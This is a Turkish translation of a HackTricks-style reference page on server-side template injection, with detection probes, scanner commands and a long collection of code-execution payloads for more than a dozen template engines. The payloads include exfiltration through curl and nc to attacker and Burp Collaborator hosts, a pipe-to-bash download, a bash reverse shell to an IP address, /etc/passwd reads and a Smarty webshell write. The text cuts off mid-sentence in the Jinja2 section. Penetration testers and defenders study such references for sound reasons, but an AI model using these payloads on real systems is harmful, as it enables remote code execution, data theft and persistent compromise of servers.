45 KiB
SSTI (Server Side Template Injection)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter'da 🐦 @hacktricks_live** takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
SSTI (Server-Side Template Injection) Nedir
Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak bir güvenlik açığına sahip kod parçasını gösteren bir örneği ele alalım:
output = template.render(name=request.args.get('name'))
Bu savunmasız kodda, kullanıcının isteğinden gelen name
parametresi doğrudan render
fonksiyonu kullanılarak şablona aktarılmaktadır. Bu, bir saldırganın name
parametresine kötü niyetli kod enjekte etmesine olanak tanıyabilir ve bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.
Örneğin, bir saldırgan şu şekilde bir yük ile bir istek oluşturabilir:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}}
name
parametresine enjekte edilir. Bu yük, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol kazanabilir.
Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdisinin şablonlara eklenmeden önce düzgün bir şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Girdi doğrulaması uygulamak ve bağlama duyarlı kaçış teknikleri kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.
Detection
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta şablonu fuzzing yapmak basit bir yaklaşımdır. Bu, şablona bir dizi özel karakter (${{<%[%'"}}%\
) enjekte etmeyi ve sunucunun normal verilerle bu özel yük arasındaki yanıt farklılıklarını analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
- Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.
- Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu normal verilerden farklı işlediğini ima eder.
- Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin,
{{7*7}}
,${7*7}
). - Kod Bağlamı: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin,
http://vulnerable-website.com/?greeting=data.username
içindekigreeting
değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek içingreeting=data.username}}hello
gibi bir yanıt alıp almadığını kontrol edin.
Identification Phase
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında ${7/0}
, {{7/0}}
ve <%= 7/0 %>
bulunur. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.
Tools
TInjA
yenilikçi poliglotlar kullanan etkili bir SSTI + CSTI tarayıcısıdır.
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
en etkili şablon enjeksiyonu poliglotlarını ve 44 en önemli şablon motorunun beklenen yanıtlarını içeren etkileşimli bir tablo.
Exploits
Generic
Bu wordlist içinde aşağıda belirtilen motorların bazı ortamlarında tanımlı değişkenler bulabilirsiniz:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Temel enjeksiyon
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Sistemin ortam değişkenlerini al
${T(java.lang.System).getenv()}
Java - /etc/passwd'ı Al
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Payload'larınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz.
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (eski)
${7*'7'} Hiçbir şey
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox atlatma
⚠️ yalnızca 2.3.30'dan önceki Freemarker sürümlerinde çalışır
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection adresindeki FreeMarker bölümünde
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection adresindeki Velocity bölümünde
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf'de, SSTI zafiyetleri için yaygın bir test ifadesi ${7*7}
'dir; bu, bu şablon motoru için de geçerlidir. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, ifade iç içe geçirme diğer şablon konumları için desteklenir ve [[...]]
veya [(...)]
gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü [[${7*7}]]
gibi görünebilir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi TemplateResolver
'larını uygulamaları gerekir ki bu da yaygın değildir.
Thymeleaf ayrıca, çift alt çizgi içinde (__...__
) bulunan ifadelerin ön işleme tabi tutulduğu ifade ön işleme sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi, ifadelerin inşasında kullanılabilir:
#{selection.__${sel.code}__}
Thymeleaf'deki Zafiyet Örneği
Aşağıdaki kod parçasını düşünün, bu istismar edilmeye açık olabilir:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Bu, şablon motorunun bu girdileri yanlış bir şekilde işlemesi durumunda, aşağıdaki gibi URL'lere erişim sağlayarak uzaktan kod yürütmeye yol açabileceğini gösterir:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Daha fazla bilgi
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Filtreleri Atlatma
Birden fazla değişken ifadesi kullanılabilir, eğer ${...}
çalışmıyorsa #{...}
, *{...}
, @{...}
veya ~{...}
deneyin.
/etc/passwd
dosyasını oku
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Payload üretimi için Özel Script
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Daha Fazla Bilgi
Spring Görünüm Manipülasyonu (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble'ın eski versiyonu ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Yeni Pebble sürümü:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, https://github.com/HubSpot/jinjava/ adresinde mevcuttur.
Jinjava - Komut yürütme
https://github.com/HubSpot/jinjava/pull/230 ile düzeltildi.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Daha fazla bilgi
Hubspot - HuBL (Java)
{% %}
ifade ayırıcıları{{ }}
ifade ayırıcıları{# #}
yorum ayırıcıları{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapın ve Jinjava projesini Github'da keşfedin.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Daha fazla bilgi
İfade Dili - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılmaktadır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:
- JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır.
- JavaServer Pages (JSP): JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileriyle bağlamayı kolaylaştırır.
- Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI): EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
EL yorumlayıcılarının istismarını öğrenmek için aşağıdaki sayfayı kontrol edin:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Aşağıdaki Güvenlik Yöneticisi atlatmaları bu yazıdan alınmıştır.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection adresindeki Smarty bölümü
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Hata
{{foobar}} Hiçbir şey
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Şablon formatı
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection adresinin Twig ve Twig (Sandboxed) bölümünde
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, yeni bir sözdizimi tanıtan Twig'in aksine, Plates şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel hale getirir.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Sayfa şablonu:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Layout şablonu:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Daha fazla bilgi
PHPlib ve HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB PHPlib ile aynıdır ancak Pear'a taşınmıştır.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Daha fazla bilgi
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Daha fazla bilgi
- https://portswigger.net/research/server-side-template-injection adresindeki Jade bölümünde
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran derlenmeyen PHP şablon motorudur.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Daha fazla bilgi
Handlebars (NodeJS)
Path Traversal (daha fazla bilgi burada).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Hata
- ${7*7} = ${7*7}
- Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Daha fazla bilgi
JsRender (NodeJS)
Şablon | Açıklama |
---|---|
Çıktıyı değerlendir ve render et | |
HTML kodlu çıktıyı değerlendir ve render et | |
Yorum | |
ve | Koda izin ver (varsayılan olarak devre dışı) |
- = 49
İstemci Tarafı
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Sunucu Tarafı
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Daha fazla bilgi
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Örnek sunucu tarafı render
var pugjs = require('pug');
home = pugjs.render(injected_page)
Daha fazla bilgi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Çıktı yok
- #{7*7} = #{7*7}
- {{console.log(1)}} = Hata
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Daha fazla bilgi
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Hata
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Daha fazla bilgi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Daha fazla bilgi
Python
Python'da sandbox'ları atlayarak keyfi komut yürütme hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Hata
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Daha fazla bilgi
Jinja2 (Python)
Jinja2, Python için tam özellikli bir şablon motorudur. Tam unicode desteğine, isteğe bağlı entegre bir sandbox yürütme ortamına sahiptir, yaygın olarak kullanılmakta ve BSD lisanslıdır.
{{7*7}} = Hata
${7*7} = ${7*7}
{{foobar}} Hiçbir şey
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Şablon formatı
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE bağımsızdır __builtins__
:
